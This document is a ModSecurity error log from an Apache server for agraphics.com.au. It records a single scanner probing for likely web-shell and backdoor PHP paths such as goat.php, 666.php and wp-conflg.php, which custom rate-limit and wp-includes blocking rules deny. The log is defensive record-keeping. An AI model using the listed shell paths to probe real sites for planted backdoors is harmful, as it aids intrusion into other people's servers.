[Fri Feb 27 15:44:18.909799 2026] [:error] [pid 52073:tid 52089] [client 52.169.148.186:4875] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aaFLUoa650YPyxXVeRZUSgAAAY0"]
[Fri Feb 27 15:44:19.430526 2026] [:error] [pid 54101:tid 54124] [client 52.169.148.186:11632] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aaFLU1Y5qgRktcYTGFsd3QAAAdA"]
[Fri Feb 27 15:44:19.937259 2026] [:error] [pid 54103:tid 54183] [client 52.169.148.186:11668] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aaFLU-vG4MPCmE0B2sBxNQAAAMw"]
[Fri Feb 27 15:44:20.468522 2026] [:error] [pid 52073:tid 52085] [client 52.169.148.186:11623] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aaFLVIa650YPyxXVeRZUTAAAAYk"]
[Fri Feb 27 15:44:20.970972 2026] [:error] [pid 62998:tid 63008] [client 52.169.148.186:11662] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFLVFQeueXZDUmoLonnXgAAAQY"]
[Fri Feb 27 15:44:21.472700 2026] [:error] [pid 56075:tid 56079] [client 52.169.148.186:4657] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFLVcKBhrfI6KNv9Rgd1wAAAAI"]
[Fri Feb 27 15:44:21.997780 2026] [:error] [pid 52073:tid 52081] [client 52.169.148.186:4310] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFLVYa650YPyxXVeRZUTwAAAYU"]
[Fri Feb 27 15:44:22.517472 2026] [:error] [pid 62998:tid 63012] [client 52.169.148.186:11804] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaFLVlQeueXZDUmoLonnYgAAAQo"]
[Fri Feb 27 15:44:23.027569 2026] [:error] [pid 52073:tid 52095] [client 52.169.148.186:12125] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-atom.php"] [unique_id "aaFLV4a650YPyxXVeRZUUgAAAZM"]
[Fri Feb 27 15:44:23.530592 2026] [:error] [pid 49306:tid 49315] [client 52.169.148.186:7769] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-atom.php"] [unique_id "aaFLV_nSUDZue59Px9toiQAAAUc"]
[Fri Feb 27 15:44:24.029742 2026] [:error] [pid 54231:tid 54234] [client 52.169.148.186:12870] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-atom.php"] [unique_id "aaFLWOTvb5AeyJCdY7DJHAAAAEA"]
[Fri Feb 27 15:44:24.563094 2026] [:error] [pid 54231:tid 54249] [client 52.169.148.186:11633] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-atom.php"] [unique_id "aaFLWOTvb5AeyJCdY7DJHgAAAE8"]
[Fri Feb 27 15:44:25.097769 2026] [:error] [pid 56075:tid 56081] [client 52.169.148.186:4912] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFLWcKBhrfI6KNv9Rgd3QAAAAQ"]
[Fri Feb 27 15:44:25.596980 2026] [:error] [pid 62998:tid 63018] [client 52.169.148.186:3521] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFLWVQeueXZDUmoLonnbwAAARA"]
[Fri Feb 27 15:44:26.133845 2026] [:error] [pid 56075:tid 56085] [client 52.169.148.186:11783] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFLWsKBhrfI6KNv9Rgd5wAAAAg"]
[Fri Feb 27 15:44:26.636203 2026] [:error] [pid 54231:tid 54240] [client 52.169.148.186:7279] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaFLWuTvb5AeyJCdY7DJHwAAAEY"]
[Fri Feb 27 15:44:27.140527 2026] [:error] [pid 54231:tid 54258] [client 52.169.148.186:7057] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaFLW-Tvb5AeyJCdY7DJJAAAAFg"]
[Fri Feb 27 15:44:27.641982 2026] [:error] [pid 52073:tid 52094] [client 52.169.148.186:10037] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aaFLW4a650YPyxXVeRZUWwAAAZI"]
[Fri Feb 27 15:44:28.175267 2026] [:error] [pid 54103:tid 54180] [client 52.169.148.186:7253] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aaFLXOvG4MPCmE0B2sBxOgAAAMk"]
[Fri Feb 27 15:44:28.707231 2026] [:error] [pid 54102:tid 54156] [client 52.169.148.186:7245] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aaFLXHi74D4fiYUm_GdEbQAAAIw"]
[Fri Feb 27 15:44:29.211068 2026] [:error] [pid 52073:tid 52077] [client 52.169.148.186:15524] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaFLXYa650YPyxXVeRZUZAAAAYE"]
[Fri Feb 27 15:44:29.749731 2026] [:error] [pid 62998:tid 63008] [client 52.169.148.186:7294] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaFLXVQeueXZDUmoLonncgAAAQY"]
[Fri Feb 27 15:44:30.251907 2026] [:error] [pid 56075:tid 56082] [client 52.169.148.186:7234] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaFLXsKBhrfI6KNv9Rgd_AAAAAU"]
[Fri Feb 27 15:44:30.752627 2026] [:error] [pid 56075:tid 56102] [client 52.169.148.186:11537] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaFLXsKBhrfI6KNv9Rgd_gAAABg"]
[Fri Feb 27 15:44:31.252039 2026] [:error] [pid 54102:tid 54148] [client 52.169.148.186:7051] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaFLX3i74D4fiYUm_GdEdwAAAIQ"]
[Fri Feb 27 15:44:31.761541 2026] [:error] [pid 54102:tid 54149] [client 52.169.148.186:11325] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaFLX3i74D4fiYUm_GdEegAAAIU"]
[Fri Feb 27 15:44:32.292782 2026] [:error] [pid 62998:tid 63026] [client 52.169.148.186:6065] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaFLYFQeueXZDUmoLonndwAAARg"]
[Fri Feb 27 15:44:32.826209 2026] [:error] [pid 54231:tid 54255] [client 52.169.148.186:12100] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaFLYOTvb5AeyJCdY7DJJgAAAFU"]
[Fri Feb 27 15:44:33.367028 2026] [:error] [pid 52073:tid 52092] [client 52.169.148.186:14688] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "aaFLYYa650YPyxXVeRZUhAAAAZA"]
[Fri Feb 27 15:44:33.867585 2026] [:error] [pid 52073:tid 52087] [client 52.169.148.186:11250] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "aaFLYYa650YPyxXVeRZUhQAAAYs"]
[Fri Feb 27 15:44:34.389261 2026] [:error] [pid 49306:tid 49328] [client 52.169.148.186:1346] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "aaFLYvnSUDZue59Px9topQAAAVQ"]
[Fri Feb 27 15:44:34.917011 2026] [:error] [pid 56075:tid 56082] [client 52.169.148.186:2565] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "aaFLYsKBhrfI6KNv9RgeCgAAAAU"]
[Fri Feb 27 15:44:35.445363 2026] [:error] [pid 56075:tid 56083] [client 52.169.148.186:9999] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aaFLY8KBhrfI6KNv9RgeCwAAAAY"]
[Fri Feb 27 15:44:35.973509 2026] [:error] [pid 52073:tid 52091] [client 52.169.148.186:15477] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aaFLY4a650YPyxXVeRZUiQAAAY8"]
[Fri Feb 27 15:44:36.505187 2026] [:error] [pid 54231:tid 54236] [client 52.169.148.186:10910] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aaFLZOTvb5AeyJCdY7DJLAAAAEI"]
[Fri Feb 27 15:44:37.005536 2026] [:error] [pid 52073:tid 52080] [client 52.169.148.186:1347] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aaFLZYa650YPyxXVeRZUjgAAAYQ"]
[Fri Feb 27 15:44:37.508663 2026] [:error] [pid 52073:tid 52088] [client 52.169.148.186:10913] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaFLZYa650YPyxXVeRZUkgAAAYw"]
[Fri Feb 27 15:44:38.029625 2026] [:error] [pid 52073:tid 52100] [client 52.169.148.186:14034] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaFLZoa650YPyxXVeRZUlAAAAZg"]
[Fri Feb 27 15:44:38.576529 2026] [:error] [pid 56075:tid 56098] [client 52.169.148.186:14048] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaFLZsKBhrfI6KNv9RgeDgAAABQ"]
[Fri Feb 27 15:44:39.080104 2026] [:error] [pid 52073:tid 52080] [client 52.169.148.186:15447] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaFLZ4a650YPyxXVeRZUmgAAAYQ"]
[Fri Feb 27 15:44:39.581649 2026] [:error] [pid 54101:tid 54131] [client 52.169.148.186:15431] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaFLZ1Y5qgRktcYTGFsd5AAAAdc"]
[Fri Feb 27 15:44:40.083208 2026] [:error] [pid 54101:tid 54116] [client 52.169.148.186:1404] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaFLaFY5qgRktcYTGFsd5QAAAcg"]
[Fri Feb 27 15:44:40.625891 2026] [:error] [pid 49306:tid 49330] [client 52.169.148.186:10020] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaFLaPnSUDZue59Px9torgAAAVY"]
[Fri Feb 27 15:44:41.128378 2026] [:error] [pid 49306:tid 49316] [client 52.169.148.186:1364] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaFLafnSUDZue59Px9toswAAAUg"]
[Fri Feb 27 15:44:41.629170 2026] [:error] [pid 49306:tid 49313] [client 52.169.148.186:9436] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aaFLafnSUDZue59Px9totQAAAUU"]
[Fri Feb 27 15:44:42.162153 2026] [:error] [pid 49306:tid 49312] [client 52.169.148.186:2276] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aaFLavnSUDZue59Px9totwAAAUQ"]
[Fri Feb 27 15:44:42.662841 2026] [:error] [pid 49306:tid 49311] [client 52.169.148.186:11421] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aaFLavnSUDZue59Px9tovQAAAUM"]
[Fri Feb 27 15:44:43.168659 2026] [:error] [pid 56075:tid 56097] [client 52.169.148.186:1379] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aaFLa8KBhrfI6KNv9RgeEwAAABM"]
[Fri Feb 27 15:44:43.674706 2026] [:error] [pid 56075:tid 56087] [client 52.169.148.186:1402] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaFLa8KBhrfI6KNv9RgeFAAAAAo"]
[Fri Feb 27 15:44:44.196665 2026] [:error] [pid 54101:tid 54111] [client 52.169.148.186:12253] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaFLbFY5qgRktcYTGFsd6AAAAcM"]
[Fri Feb 27 15:44:44.717499 2026] [:error] [pid 49306:tid 49327] [client 52.169.148.186:10925] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaFLbPnSUDZue59Px9towwAAAVM"]
[Fri Feb 27 15:44:45.219645 2026] [:error] [pid 49306:tid 49310] [client 52.169.148.186:12864] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaFLbfnSUDZue59Px9toxQAAAUI"]
[Fri Feb 27 15:44:45.719726 2026] [:error] [pid 54231:tid 54257] [client 52.169.148.186:18503] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aaFLbeTvb5AeyJCdY7DJOwAAAFc"]
[Fri Feb 27 15:44:46.220942 2026] [:error] [pid 49306:tid 49314] [client 52.169.148.186:9990] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aaFLbvnSUDZue59Px9toyAAAAUY"]
[Fri Feb 27 15:44:46.719566 2026] [:error] [pid 49306:tid 49331] [client 52.169.148.186:14052] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aaFLbvnSUDZue59Px9toygAAAVc"]
[Fri Feb 27 15:44:47.218211 2026] [:error] [pid 49306:tid 49329] [client 52.169.148.186:10886] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aaFLb_nSUDZue59Px9tozAAAAVU"]
